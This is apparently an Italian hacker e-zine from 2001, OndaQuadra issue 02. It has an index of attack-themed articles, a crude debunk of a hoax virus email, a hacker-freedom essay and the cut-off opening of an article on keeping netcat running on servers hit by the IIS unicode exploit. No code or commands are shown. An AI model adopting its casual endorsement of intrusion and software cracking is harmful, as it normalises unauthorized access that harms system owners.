Copy Link
Add to Bookmark
Report

OndaQuadra 02

eZine's profile picture
Published in 
OndaQuadra
 · 5 years ago

  

___ ___ ____ ___
/\ \ /\__\ /\ \ /\ \
/00\ \ /NN| | /DD\ \ /AA\ \
/0/\0\ \ /N|N| | /D/\D\ \ /A/\A\ \
/0/ /\0\ \ /N/|N| |__ /D/ /\D\___\ /A/_/\A\ \
/0/ / /0|--|/N/ |N| /\__\ /D/_/ \D| | /AA\ \ \A\__\
/0/_/ /0/ / \/__|N|/N/ / \D\ \ |D| |/A/\A\ \/A/ /
\0\ \/0/ / |N/N/ / \D\ \ |D| |\/_/\A\/A/ /
\0\ /0/ / |NN/ / \D\ \|D| | \AA/ /
\000/ / /N/ / \D\/DD|__| /A/ /
\0/__/ \/__/ \DDD/__/ /A/__/
___ ___ ___ ___ ___
/\ \ ___ /\ \ /\ \ /\ \ /\ \
/QQ\ \ /\__\ /AA\ \ /DD\ \ /RR\ \ /AA\ \
/Q/\Q\ \ /U/ / /A/\A\ \ /D/\D\ \ /R/\R\ \ /A/\A\ \
/Q/ /\Q\ \ /U/ / ___ /A/_/\A\ \ /D/ /\D\ _\ /R/ /\R\ \ /A/_/\A\ \
/Q/ / \Q|--| /U/ / /\__\ /AA\ \ \A\__\ /D/_/ \D| | /R/ / \R\__\ /AA\ \ \A\__\
/Q/_/ /Q/ / /U/_/ /U/ //A/\A\ \/A/ / \D\ \ |D| |/R/ / __|R| //A/\A\ \/A/ /
\Q\ \ /Q/ / \U\ \ /U/ / \/_/\A\/A/ / \D\ \ |D| |\/ / |RRR/__/ \/ /\A\/A/ /
\Q\_/Q/ / \U\_/U/ / \AA/ / \D\ \/D| | \/ |R| | \/ \AA/ /
\QQQ/__/ \UUU/ / /A/ / \D\/DD|__| |R| | /A/ /
\QQ| | \U/__/ /A/__/ \DDD/__/ |R|_| /A/__/
|Q|__|


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ STAMPA CLANDESTiNA #02 - 18/06/2001 |
+-------------------------------------------------------------------------------+
| Tutto nel ciberspazio |
| E' scandito dalla squarewave |
| Dei micro-processori |
| Il clock dei micro |
| E' come |
| Un battito cardiaco |
| Elettronico... |
+-------------------------------------------------------------------------------+
| ondaquadra.cjb.net ~ www.hackerzine.org ~ www.bismark.it |
| mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net |
+-------------------------------------------------------------------------------+

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| COSTITUZIONE DELLA REPUBBLICA ITALIANA |
| Diritti e doveri dei cittadini: Rapporti civili |
| |
| Art.21 - Tutti hanno diritto di manifestare liberamene il proprio pensiero |
| con la parola, lo scritto e ogni altro mezzo di diffusione. [...] |
+-------------------------------------------------------------------------------+

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| INDICE |
+-------------------------------------------------------------------------------+
| [L0GiN] |
| 0x01 iNTR0 AL NUMER0 02 .........................................[oq ~ staff] |
| 0x02 iPSE DiXiT ................................................ [oq ~ staff] |
| 0x03 ME L0 HA DETT0 Mi0 CUGGGiN0 ............................... [oq ~ staff] |
+-------------------------------------------------------------------------------+
| [LA RiF0RMA] |
| 0x04 LA GRANDE SFiDA ALL'HACKiNG ............................ [Martin Lutero] |
+-------------------------------------------------------------------------------+
| [HACKiNG] |
| 0x05 TELNET iNVERS0 .................................................. [E4zy] |
| 0x06 METTiAM0 NETCAT NELL'0MBRA .................................. [Tdi110cv] |
| 0x07 NT HACKiNG ................................................. [Tritemius] |
| 0x08 VULNERABiLiTA' Di iiS ............................... [MightyInquisitor] |
| 0x09 HACKiNG4DUMMiS: SE L0 C0N0SCi L0 EViTi [...] ................ [Tdi110cv] |
| 0x0A MET0Di Di ESECUZi0NE AUT0MATiCA ................................. [E4zy] |
| 0x0B AUT0RUN ......................................................... [E4zy] |
| 0x0C SCANNiAM SCANNiAM0 CHE W2K L0 Vi0LiAM0 ...................... [Tdo110cv] |
| 0x0D iP SP00FiNG ............................................. [DarkAngel999] |
+-------------------------------------------------------------------------------+
| [NETW0RKiNG] |
| 0x0E USARE WiNGATE ................................................ [Weisses] |
| 0x0F NETW0RK ANALYZER ........................................ [DarkAngel999] |
+-------------------------------------------------------------------------------+
| [LiNUX] |
| 0x10 UN SALUT0 AL N0STR0 xyzzy ................................... [Tdi110cv] |
| 0x11 ANALiSi Di UN ATTACC0 .......................................... [xyzzy] |
+-------------------------------------------------------------------------------+
| [C0DiNG] |
| 0x12 C0RS0 Di C (1) ................................................ [JEYoNE] |
| 0x13 INTR0 ALLE MACR0 (3/4) ........................................ [Mastro] |
| 0x14 C0DiNG4DUMMiES: EXCEL: USiAM0 i F0RM ........................... [Mysha] |
+-------------------------------------------------------------------------------+
| [TWiLiGHT Z0NE] |
| 0x15 CAS0 M0NGUZZi: DEPiSTAGGi E C0VER-UP ................. [Alfredo Lissoni] |
+-------------------------------------------------------------------------------+
| [MiSC] |
| 0x16 REGSNAP ....................................................... [JEYoNE] |
| 0x17 CARNiV0RE DiAGN0STiC T00L ................................ [Screener_it] |
| 0x18 PiRATERiA ViDE0 / MUSiCALE ............................... [Screener_it] |
| 0x19 0GGi Mi M0NT0 UN WEB SERVER SU WiND0WS ................... [Screener_it] |
| 0x1A TRENiTALiA.C0M ? MA FiGURATi SE LE FS... ................. [Screener_it] |
| 0x1B 2 SCHEDE ViDE0 SUL PC .......................................... [Bartx] |
| 0x1C Gi0RDAN0 BRUN0 ? ESSENZA DEL R0CK'N'R0LL ................ [Stefano Bisi] |
| 0x1D R0SS0, VERDE, ViDA ...................................... [Stefano Bisi] |
| 0x1E Mi0 CUGGGiN0 C0LPiSCE ANC0RA ................................. [Weisses] |
| 0x1F Si FECE iN QUEL DELLA LUPA .................................. [Tdi110cv] |
+-------------------------------------------------------------------------------+
| [L'APPRENDiSTA STREG0NE] |
| 0x20 PARAPiNZ PRJ .................................................. [Lesion] |
| 0x21 PR0GRAMMAZi0NE ViRALE iN C ...................................... [E4zy] |
| 0x22 Gi0CARE C0N i FiLE iN VB: CiF EDiT0R ......................... [mantis_] |
| 0x23 WiNUNiX .................................................. [Screener_it] |
+-------------------------------------------------------------------------------+
| [SHUTD0WN] |
| 0x24 MA DAVVER0 Ci SERV0N0 CPU SEMPRE PiU' VELOCi ? ........... [Screener_it] |
+-------------------------------------------------------------------------------+
| [C0NTATTi] |
| 0x25 D0VE TR0VARCi ............................................. [oq ~ staff] |
+-------------------------------------------------------------------------------+
| [ALLEGATi] |
| 0x01 CiF EDiT0R (S0RGENTi) ........................................ [mantis_] |
| 0x02 WiNUNiX (S0RGENTi) ....................................... [Screener_it] |
+-------------------------------------------------------------------------------+

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L0GiN] #02 - 18/06/2001 |
| EDiT0RiALE [oq ~ staff] 0x01/0x25 |
+-------------------------------------------------------------------------------+
Ciao belli,
questa volta oltre al solito articolozzo volevo soffermarmi su alcune cose.
Siamo giunti al numero 02 della nostra rivista, a quanto pare le cose vanno a gonfie vele,
le visite non mancano,come non mancano gli articoli, chi piu' chi meno scrive roba
interessante, questo e' un ottimo aiuto per tutti, novellini ed esperti, non si smette mai
di imparare!
In questi mesi ho visto ampliarsi quello che all' inizio era un gruppo di amici virtuali
che bazzicavano fra I vari canali di irc, abbiamo messo su un nostro chan (hackmaniaci),
ricordo ancora i tempi in cui eravamo i soliti 5/6!
Ora abbiamo due chan: #hackmaniaci ed #ondaquadra ovviamente, il numero degli utenti e' parecchio salito rispetto ai vecchi 5/6 :) , altri amici si sono aggregati ed hanno iniziato
collaborare, e' nato anche un rapporto di collaborazione con gli amici di #crack-it.
Nello stesso periodo ho avuto modo di conoscere gente che e' entrata silenziosamente, alle
prime armi a chiedere consigli, ad esultare per essere riusciti a crackare winzip ed oggi
li ritrovo che smanettano alla grande e si buttano sul satellitare.
Abbiamo anche avuto modo di conoscerci personalmente facendo cadere anche quel muro
che ci dava quella "virtualita' ", che dire, sono molto soddisfatto di tutto e di tutti,
compreso Tdi e le sue barzellette (mitiche).
Nel prossimo numero avremo un nuovo membro che gli amici di #crack-it ben conoscono alias
MR CODE o Mr Coso per gli intimi!
Complimenti a tutti, avanti così!
vi lascio con una cavolata degna di TDI:
TRADUCENDO IN ITALIANO LA SEGUENTE FRASE COSA CAPITE? "WHAT GOD TAXI DRIVER"
VE LO DICO IO: "CHE DIO T'ASSISTA" :D

buona lettura a tutti. ___________wei§§e§__________

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L0GiN] #02 - 18/06/2001 |
| iPSE DiXiT [oq ~ staff] 0x02/0x25 |
+-------------------------------------------------------------------------------+

"Una sera stavo navigando su Internet, ero in un sito. E' entrato un hacker e
mi ha sporcato tutto"
(Giuliano Amato, ex Presidente del Consiglio)

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L0GiN] #02 - 18/06/2001 |
| ME L0 HA DETT0 Mi0 CUGGGiN0 [Tdi110cv] 0x03/0x25 |
+-------------------------------------------------------------------------------+

Ho scritto questo articoletto semplice semplice , per cercare di far
capire
che anche dalla mail piu' stupida del mondo , si possa comunque
imparare
qualche cosa !
Infatti qualche giorno fa mi viene recapitata nella mia casella di
posta
elettronica una mail che mi metteva in guardia da una consorella ,
contenente un
particolare allegato , dagli effetti disastrosi !!!
Di sotto vi ho inserito la mail e anche un mio commento !
Alla fine della stessa cercheremo di trarne varie conclusioni ,
certamente
sempre dal punto di vista di un hacker !

>Se ricevete una mail intitolata "I'M YOUR SHADOW! PLEASE PLEASE
>DON'T
>FORGET
>ME" non apritela assolutamente!
>Contiene allegato un eseguibile che si auto attiva all'apertura
>della mail e si
>inserisce nel computer senza che l'utente si accorga di nulla,
>poiche non
>viene visualizzata nessuna finestra, messaggi o altro.

Che si attiva automaticamente ? Cazzo ma chi e' questo genio che
riesce
ad inviare un qualsiasi eseguibile che si autoattiva ?
Se fosse un eseguibile , si esegue solo se siete voi a farlo !!!!
E poi ... si inserisce nel computer ! Ma che razza di linguaggio
usano questi che scrivono la mail ?
Si inserisce ... si inserisce , an certo ! L'ho letto pure io che
potrebbe
succedere che un allegato si inserisce nel computer , si sul manuale
delle
giovani marmotte !
Poi se proprio vogliamo essere pignoli , ci sarebbe da chiedersi
perchè
vengo avvisato di non aprire l'allegato se lo stesso dovrebbe
danneggiarmi
automaticamente ?! Baa !

>Questo programma consente a chiunque di controllare il proprio
>computer,
>sfruttando un pericolosissimo bug caratteristico di quasi tutti
>iprogrammi
>di chat e sconosciuto da molti, a volte persino dagli autori del
>programma.
>Ha infatti un bug dipendente da un file del sistema operativo che
>gestisce
>tutte le comunicazioni attraverso internet (anche le reti intranet
>locali).
>Il virus ha al suo interno alcune delle funzioni usate dagli
>hacker per
>penetrare nei siti Web e dai pedofili x anonimizzarsi su internet.

Non a caso per modificare un sito , l'unica cosa da fare e:
Accedere all'ftp del server su cui e' hostato il sito !
Il punto e' che per accedere a qualsiasi server , i modi sono 4 !!!!
O buchi il server , ti crei un account superuser e fai quel cazzo
che vuoi ,
vai di brute force , sfrutti dei bug presenti nel server , oppure
cerchi di installare dei trojan !!

>Chiunque si colleghi al programma virus potrà penetrare in siti
>Web o
>scaricare o creare materiale pedofilo utilizzando il tuo computer.

Questo potrebbe essere , pero' se io avessi un Firewall che filtra
e logga
tutti i tentativi di connessione indirizzati al mio host , che
succederebbe ?
Be' in questo caso potete attaccarvi al cazzo !

>In questo caso il colpevole rilevato saresti tu (un bel piffero ,
>io avrei
>il tuo log con tutti i tuoi cari comandini) , perchè i comandi ai
>siti
>Web o lo scaricamento delle fotografie avviene tramite il tuo
>computer e
>tramite il tuo collegamento internet.

Carissimi , se qualcuno si meraviglia di stronzate del genere , vuol
dire che
non vi siete mai occupati di sicurezza informatica !
E' possibile utilizzare un computer altrui per passare dati ,
informazioni ,
foto e quant'altro , o piu' comunemente per accedere anonimamente ad
un server
su cui fare le proprie malefatte ! In gergo si chiama BOUNCE ! Lo si
puo' fare
tramite FTP , SOCKS , WINGATE , tramite SHELL , e come potrebbe
essere in
questo caso tramite un nuovo tipo di TROJAN !
Ai tempi lo si faceva anche con il buon Back Orifize , CHE BEI TEMPI
EH ?!
Oggi chissa' ... vedremo sta' genialata !

>Si sono già verificati casi di persone accusate di atti di
>pedofilia che
>invece non ne avevano nulla a che fare, solamente erano state
>vittime del
>virus.

In Italia e' impossibilie ! Con la velocita' della burocrazia
Italiana ,
almeno almeno il virus avrebbe dovuto colpire chissa' quanti anni
addietro :PP !
E cmq , credete di poter essere accusati di pedofilia cosi'
facilmente ?
L'ip non e' mai stata una prova , neache l'host , sono 2 strumenti
per
iniziare una indagine , ma se nient'altro puo' aggravare la vostra
situazione
, vedi la detenzione di materiale o comportamenti strani , nessuno
potra' mai
accusarvi !

*****************************************************************************
* ED ORA COMINCIANO LE VERE STRONZATE !!!!
*****************************************************************************

>Inoltre il programma è predisposto per utilizzare il tuo modem per
>collegarsi a provider internazionali, facendo salire enormemente la
>bolletta
>del telefono.

Provider internazionali ? Ma se io sto scaricando la cosidetta mail
, come fa
il modem ad aprire una ennesima connessione verso questi fantomatici
provider ?

>Cio avviene nello stesso istante nel quale il tuo programma riceve
>l'email,
>anche senza aprirla. Il virus non viene rilevato da nessun
>antivirus e non
>c'è rimedio per ora.

Non c'è rimedio ? Anche esistesse una cosa di questo genere ,
potreste
monitorare il tutto con il firewall di cui vi parlavo prima oppure
con il buon
Netstat.
WWW.DOWNLOAD.COM e cercate Conseal Firewall , o AT-GUARD , essi vi
mostreranno , se settati correttamente , tutti i tipi di pacchetti
ICMP UDP ARP RARP in uscita e ovviamente anche in ingresso dal
vostro modem ! Percui potreste
Percui potreste tranquillamente monitorare ogni connessione
effettuata dal
vostro PC , oltre che tenere storia di tutti i movimenti che fate ,
o come vi
vogliono far credere che vi fanno fare , nel WEB !

>La formattazione dell'hard disk non risolve il problema, infatti
>il virus
>si
>insedia anche nella memoria flash bios della scheda madre e ad ogni
>tentativo di formattazione di essa si sposta in memoria RAM e in
>hard disk
>e
>viceversa.

Cazzo , ma questo virus fa anche le patatine fritte ?
Cmq questa info potrebbe essere un po' piu' veritiera , esiste
infatti una
famiglia di Virus che danneggiano il Bios.

>L'unica soluzione è la sostituzione della flash bios e la
>formattazione
>base
>dell'hard disk, previa disinstallazione della RAM per successiva
>reinstallazione.
>Se ricevete l'email non potete fare nulla. Significa che siete già
>stati
>collegati ad un provider internazionale.

Che centra la RAM ?
NESSUNO MAI VI HA SPIEGATO CHE LA RAM E' UNA MEMORIA VOLATILE ?
E non vuol dire che migra o prende il volo ! Vuol dire semplicemente
che allo spegnimento della macchina tutte le info in essa contenute
saranno
perse !!!
Questa poi ... ma nessuno si rende conto di quali cazzate siano
queste ?

>L'unica cosa che potete fare è disconnettervi, spegnere modem e
>computer e
>scollegarlo dalla rete elettrica. In caso di riaccensione il
>programma
>ricollegherebbe automaticamente il modem al provider.

Certo ! ma ricordatevi di togliere anche la presa al 220 !!!!!
altrimenti vi
accendono il PC a distanza !

>cosa peggiore è che il telefono rimarrà libero durante questa
>operazione,rendendo impossibile l'individuazione del provider
>chiamato.

AHAHAHAHAHAHAHA !!!! Impossibile l'individuazione del provider ?
Cazzo , ma come fa quindi Telecom a sapere che importo fatturarci se
nessuno
puo' individuare a chi e' stata effettuata la chiamata ? Immaginate
poi chi
si aspetta di ricevere il dettaglio delle chiamate ! Si trova un
importo
enorme verso un numero non identificato ! Forse bisognerebbe ficcare
nella
testa di questo stronzo che ha scritto sta stronzata di mail qualche
nozione
su come avviene la comunicazione mediante telefonia FISSA ! Poi per
carita' ,
io spero che possa esistere una cosa del genere , vuol dire che
siamo a 2
passi dal telefonare a frodo !
E Tu pensa che al mondo ci sono degli stronzi che pagano la ISDN
solo per
avere una linea in piu' sempre libera ! (chissa' chi puo' essere).
Be' allora ... sappiate che la connessione e' una e solo
unaaaaaaaaaaaaaaaaaaaa !!!

>Se ricevete questa mail spegnete computer e modem e contattate un
>tecnico
>che sostituisca la flash ROM del bios.

Che probabilmente e' lo stesso stronzo che ha <modificato> questo
advise !

>Le operazione vanno eseguite in quest'ordine: scollegamento
>dell'hard disk,
>montaggio della nuova flash bios, formattazione dell'hard disk su
>un altro
>computer, rimontaggio dell'hard disk. Per le chiamate al provider
>internazionale non c'è nulla da fare. Ormai i costi saranno
>addebitati.
>

CAZZO IO VOGLIO IL DETTAGLIO DELLE TELEFONATE !!!!

>Queste sono le tariffe di un collegamento internazionale: 3000
>scatto
>risposta, 2560 lire al minuto per i primi 3 minuti, 5000 dopo i
>primi 3
>minuti.
>Durante lo scaricamento della mail vengono eseguite circa 500
>connessioni,
>e
>x ognuna uno scatto alla risposta.

Si si e' confermato ... che pensavate ? una connessione TCP/IP ?
No carissimi si parla proprio di connessione telefonica altrimenti
come
salirebbero gli scatti ?
Complimenti vorrei conoscere il pericoloso hacker che ha fatto questa
cosuccia , potrebbe tornarmi molto comoda !!

>Questa informazione è stata passata da Microsoft.

E secondo voi Microshitt , parla di allegati che si inseriscono nel
computer ?
Vabbè che alla Microsoft probabilmente lavorano ex FS , o ex omini
Telecom ,
ma scrivere mail con un linguaggio cosi' da poppanti ...
(BADATE BENE ... senza nulla togliere ai dipendenti FS o Telecom ,
conosciuti
come gran lavoratori e professionalmente molto preparati !
Appropsito ,
vedete che l'ultimo stronzo TELECOZMAN che mi ha installato la
borchia in casa
o ha combinato qualche casino o mi ha montato una borchia di merda !
non mi
va piu' la seconda linea ! Volete o no venire a mettermela apposto ?)

>Diffondetela immediatamente a tutte le persone che conoscete,
>anche perchè
>il virus
>si auto trasmette a tutte le persone che avete nei contatti,quindi
>se avete
>ricevuto
>l'email anche loro sicuramente ce l'hanno.

Questo potrebbe darsi , anche i love you si replicava tra tutti i
contatti !

>L'importante è di avvisare le persone che si collegano molto a
>internet,poiché vengono
>eseguite 500 connessioni al secondo per ogni connessione a
>internet che si
>fa.

E' evidente che il programmatore del Virus preferiva il numero 500 !
Cacchio sto virus fa 500 connessioni al secondo (mi par di capire
ora TCP/IP) ,
fa pure 500 connessioni telefoniche con i provider del mondo nel
breve tempo
di scaricamento della mail ! COMPLIMENTI !!!!
Pero' com'è che io faccio fatica a stabilirne una ?
Forse pero' da quando hanno sostituito le linee analogiche in linee
ultraveloci ...
Magia di telecom italia ! GRAZIE ! E poi la gente si lamenta DELLE
39.000
DEL CANONE !!!!
Lesinate gente ... lesinate !
... approposito , ma io che possiedo due linee , quante connessioni
eseguiro'
al secondo ? 1000 ?!?!?!
E se crescessero esponenzialmente ?

>Quindi in un ora si spenderebbero anziché le 2000 lire della tariffa
>urbana,
>le 360.000
>della tariffa internazionale.

2000 ALL'ORA ?
Cazzo corro subito ad abbonarmi a WIND !!!!!
Mo' son cazzi allora !

>Siete pregati di avvisarle quindi.

Avvisa tua madre che quella sera non aveva null'altro da fare che
concepirti ,
e il tuo tecnico , perchè la gente comune non dovrebbe temere queste
cazzate !
Sono solo cazzate che Microsoft NON PUO' AVER SCRITTO , almeno non
in questo modo !
Magari Microsoft ha scritto qualcosa , e chissa' chi ci ha messo
tante altre cazzate !
Sapete le notizie nascono in un modo per essere divulgate tali , ma
se
qualcuno le modifica ... nascono delle stronzate simili !

_______________________________________________________________________________________________________

Carissimi cercate di trarre tutte le considerazioni che volete , ma
sappiate
che se non fossero esistiti gli hacker (persone che si interessano di
sicurezza informatica ) saremo ancora ai tempi in cui bastava
scrivere LOGIN :
PIPPO e ci si trovava con una shell di ROOT in mano !!!!!
La sicurezza e' cresciuta grazie a tali persone , purtroppo assieme
ad essa
e' cresciuta anche la paura nei confronti di queste persone che mai
danneggerebbero nessuno ! Questo solo a causa di qualche cretino che
usa le
proprie capacita' per danneggiare il prossimo , e grazie ai media che
amplificano le notizie secondo i propri porci comodi !!!
Da questo mio modesto commento , avete capito che qualche
informazione
potrebbe essere veritiera , e qualche altra no !
La domanda che quindi io vi faccio e' : Secondo Voi Microsoft
potrebbe aver
scritto simili cazzate ?
Un ciao il Vostro TDI (WWW.ONDAQUADRA.CJB.NET)
IRC.AZZURRA.IT
#HACKMANIACI

Se vuoi un indirizzo di posta elettronica gratuito,
iscriviti a http://www.kaSTRAmail.com

------ FINE DELLE CONSIDERAZIONI !!!!!!

Bene terminate le mie modeste considerazioni al pirla che mi ha
inviato
questa e-mail , vorrei che tutti vi soffermaste a riflettere su
tutto quello
che avete letto !
Quanto di questa mail puo' essere veritiero ?
Ben poco ! Daccordo ! Rispolverando vecchie info che avevo letto da
qualche
parte nel web , mi e' saltato in mente che un famoso Virus dagli
effetti
molto poco dannosi era in grado di portare a termine il suo compito
senza che la vittima lanciasse nessun allegato ! Ora non ho avuto
modo di
riceverlo , e sinceramente non credo che mai lo vedro' , ma e'
assurdo pensare
che un eseguibile , sempre che si parli di eseguibile , si possa
cosi'
attivare per i cacchi suoi !
Inoltre , se io lo ricevessi su un indirizzo di posta sul web , tipo
iname ,
yahoo o roba simile , che succederebbe ?
Yahho si troverebbe collegato con il resto dei Provider del mondo ?
Ma dai non prendiamoci per il culo !
Microsoft mai potrebbe sputtanarsi affermando certe cacate simili !
Vabbè ok ! La Microsoft si sputtana tutti i giorni direte voi !
Si certo , ma lo fa in maniera piu' elegante proponendo magari una
nuova
versione di IIS !! (approposito , TRITEMIUS lo scrivi o no sto : '
HOW TO
FOTTER IIS4 e 5 WITH UNICODE EXPLOIT ' ?)
Mica si mette a sparare cagate simili !
E' evidente che qualcuno ha ricevuto una mail in cui si diceva di
stare
attenti ad un nuovo Virus , e ha pensato bene di metterci anche del
suo.
Evidentemente questa o queste persone non hanno molta famigliarità
ne su come
avvengono sia le comunicazioni telefoniche via modem o telefono che
sia , ne
su come ci si possa difendere da un tal problema , sempre ammesso
che esista !
Certo e' che con l'andare avanti della tecnologia e
dell'informazione , in
pochi anni si e' passati dal buon vecchio e anche simpatico Virus
Pallina ,
a quello che sembra essere stato il Virus di fine secolo ! Il bel'I
love you' !
Percui e' lecito pensare che tra qualche anno si passera' a Virus
sempre
piu' potenti e sempre piu' dannosi ! Ma affermare che al giorno
d'oggi esiste
gia un virus in grado di comunicare tramite modem , aprire centinaia
di connessioni contemporaneamente , per'altro lasciando libera la
linea ,
mi sembra veramente troppo !
Caxxo non dico che sia impossibile ! Teoricamente , e anche
praticamente , e'
possibilissimo creare un trojan in grado di effettuare connessioni
telefoniche con il mondo. Ma cazzo solo una ad una ! Sostenere di
poterne
aprire 500 in un secondo , e' proprio follia pura ! Non si farebbe
neanche
tempo a stabilire la comunicazione ! Figuriamoci poi con dei modem
analogici !
A questo punto non resta altro che battere le mani a questi
raccontastorie
e concludere che di bacati nel web non ci sono solo i server , ma
anche le
le teste di questi cazzoni che non hanno un cazzo da fare tutto il
giorno se
non inventare stronzate simili !
* * * * * *
P.S Non finiro' mai di raccomandarvelo ... Togliete la spina dalla
rete 220V.
... Altrimenti rischierete di farvi accendere il PC a distanza !

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [LA RiF0RMA] #02 - 18/06/2001 |
| LA GRANDE SFiDA ALL'HACKiNG ....................... [Martin Lutero] 0x04/0x25 |
+-------------------------------------------------------------------------------+

La nuova legge sull'editoria rappresenta un ulteriore buon motivo per la comunità hacker italiana di prendere consapevolezza del proprio ruolo storico oggi. E' un altro pezzo di normativa liberticida pensato dalle corporazioni nate nel corso del Fascismo e maturate nel dopoguerra, come l'Ordine dei giornalisti. Una legge che va ad impattare sulle attività che sulla rete svolge qualsiasi italiano (e non solo). Ma soprattutto è un ulteriore mattone che inspessisce il muro di ostilità con cui la classe dirigente di questo paese si isola dalla realtà del mondo elettronico e dall'afflato *liberatorio* di internet.

Il tentato suicidio della normativa sui domini, evitato per un soffio dallo scioglimento delle Camere, la lunga operazione lobbystica anti-provider, che ha rinsaldato i grandi a spese dei piccoli, l'approvazione pressoché unanime della legge sull'editoria: sono tutte componenti di un unico atteggiamento che oscilla tra ignoranza e supponenza. Con in più la beffa che la classe politica si autopremia e si autoassolve con tanto maggiore volgarità quanto più plateale è l'errore commesso.

Tutto questo impone al mondo dell'hacking l'assunzione di nuove e maggiori responsabilità che vanno ben al di là dei confini entro i quali qualcuno ha voluto troppo spesso delimitare l'hacking stesso.

La strada alla libertà digitale, elemento centrale dell'essere hacker, non costituisce soltanto l'obiettivo di un "personale" e di un "sociale" migliore ma anche l'unica via percorribile per far sì che la rivoluzione internet giunga a compimento nelle sue conseguenze macroscopiche.

La circolazione delle informazioni e delle opinioni veloce, libera, con schemi random e imprendibili, soprattutto incontrollabile, è una vittoria che dev'essere ancora conquistata. Chi la chiama Utopia non ha compreso quali sono le conseguenze di una umanità che possa incontrarsi liberamente nel ciberspazio.

Oggi la rete non è assediata solo dall'ignoranza di un Legislatore cieco ma anche da Forze dell'Ordine sempre più specializzate nel contrastare il crimine online e sempre meno critiche nei confronti degli abusi che contro la rete si commettono. Abusi ben più gravi, perché compromettono il libero sviluppo della società elettronica. E danneggiano, dunque, tutti.

La Controriforma reazionaria trae dall'ignoranza fiumi di linfa vitale e il suo cammino è già iniziato. E non ci si sarebbe potuto aspettare alcunché di diverso. Da migliaia di anni la società umana si evolve nella varietà delle sue composizioni e tradizioni seguendo un unico leit-motiv, quello del controllo della cultura e dell'informazione come fonte di potere. Sono i pochi a decidere per tutti e le applicazioni di Democrazia che fin qui abbiamo visto non hanno fatto altro che complicare le cose, consentendo allo stesso tempo, però, un controllo senza precedenti persino sulla formazione delle opinioni dell'individuo, cioè sulle fondamenta della propria personalità. Praticamente uno stupro.

Nelle sue potenzialità internet può bucare gli opprimenti bastioni della Controriforma e creare una orizzontalità democratica del tutto inedita sul pianeta. Ma oggi, e dobbiamo esserne consapevoli senza incertezze, la via è già stata sbarrata.

E lo dico perché è facile constatarlo e perché si può partire solo se se ne è coonsapevoli. Chiunque non sia un bravo hacker non ha possibilità di rendersi davvero anonimo quando si trova in rete, non ha una vera possibilità di sfuggire a schedature elettroniche connaturate agli attuali protocolli di comunicazione online. Schedature che diventano strumento fertile di caccia e repressione per la Controriforma. L'uso sempre crescente di moneta elettronica, documenti elettronici e via dicendo sta creando le condizioni per dare alla Controriforma strumenti così potenti da sopprimere sul lungo termine il suo nemico per eccellenza persino su internet: la libera circolazione delle informazioni.

Oggi "professare liberamente la propria opinione è scavare la propria fossa", parafrasando Sinead O'Connor. Perché ci sono opinioni tollerate in rete o fuori ma ce ne sono altre, molte altre, che se espresse ti mettono invariabilmente nei guai. E molti di noi hanno già sperimentato sulla propria pelle cosa significa dimostrare pubblicamente la propria indipendenza di pensiero e rivendicarla con la forza della propria vitalità.

Per questo oggi gli hacker assumono un ruolo centrale. L'hacker che fa della tecnologia il proprio pane ha il dovere, se intende continuare a definirsi tale, di prendere il toro per le corna e stimolare, con il proprio lavoro, la riuscita di progetti la cui portata è epocale, come Freenet. Il lavoro dell'hacker della tecnologia oggi è costruire l'infrastruttura che renderà gli uomini liberi. E' un'opportunità per assumersi responsabilità storiche che non possono più essere eluse, pena il fallimento dell'hacking e del suo più intimo significato: la libertà di crescere, vivere e pensare in indipendenza.

Ma devono darsi da fare anche gli altri hacker, quelli che hackano il sistema del potere e quello dell'informazione con lo scritto e con gli altri mezzi, con la cultura dell'idea e del senso critico. Loro hanno il compito di nutrire l'incedere della Riforma.

Un compito arduo, perché non si può limitare a difendere l'idea ma deve anche prendere il centro del campo spazzando via chi lo ha occupato abusivamente a danno di tutti noi.

Lottare oggi contro la legge sull'editoria fa parte di tutto questo e significa dare manforte a chi investiga la comunicazione e la rete per trasformarla in un terreno di libertà vera, perché fondata sulla responsabilità dell'individuo e non sul controllo delle sue idee.

Un tempo Martin Lutero scrisse le proprie opinioni la cui indipendenza era tale da aver scosso le fondamenta del Potere del suo tempo. Noi oggi partiamo in condizioni migliori, perché Martin è già esistito e perché abbiamo una tecnologia, Internet, che ha trasformato un'Utopia in una speranza.

Buona fortuna a tutti.

Martin Lutero
martinlutero@deandreis.it

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 |
| METTiAM0 NETCAT NELL'0MBRA ............................. [Tdi110cv] 0x05/0x25 |
+-------------------------------------------------------------------------------+

Bene tralasciando il fatto che da qualche tempo , a forza di parlare di
shell e ip , ci stanno scambiando per benzinai vorrei oggi rendervi partecipi
di una piccola ideuzza per mantenere un pochino piu' a lungo quello che si
ottiene utilizzando il NETCAT.
Premetto che questo articoletto e' frutto di un lungo tartassamento di maroni
effettuato ai danni di Tritemius in queste ultime settimane.
Si si ! ammetto che l'argomento riguardava il famoso unicode di IIS.
No non staro' qui a spiegarvi l'unicode exploit , non voglio portare via il
lavoro al TRIT che in questi ultimi periodi l'ha perfezionato al meglio e si
sta spremendo per terminare un NT hacking book !
Sono qui per suggerirvi come rendere utilizzabile il piu' a lungo possibile
il buon Netcat , fido compagno di viaggi di quell'unicode exploit.
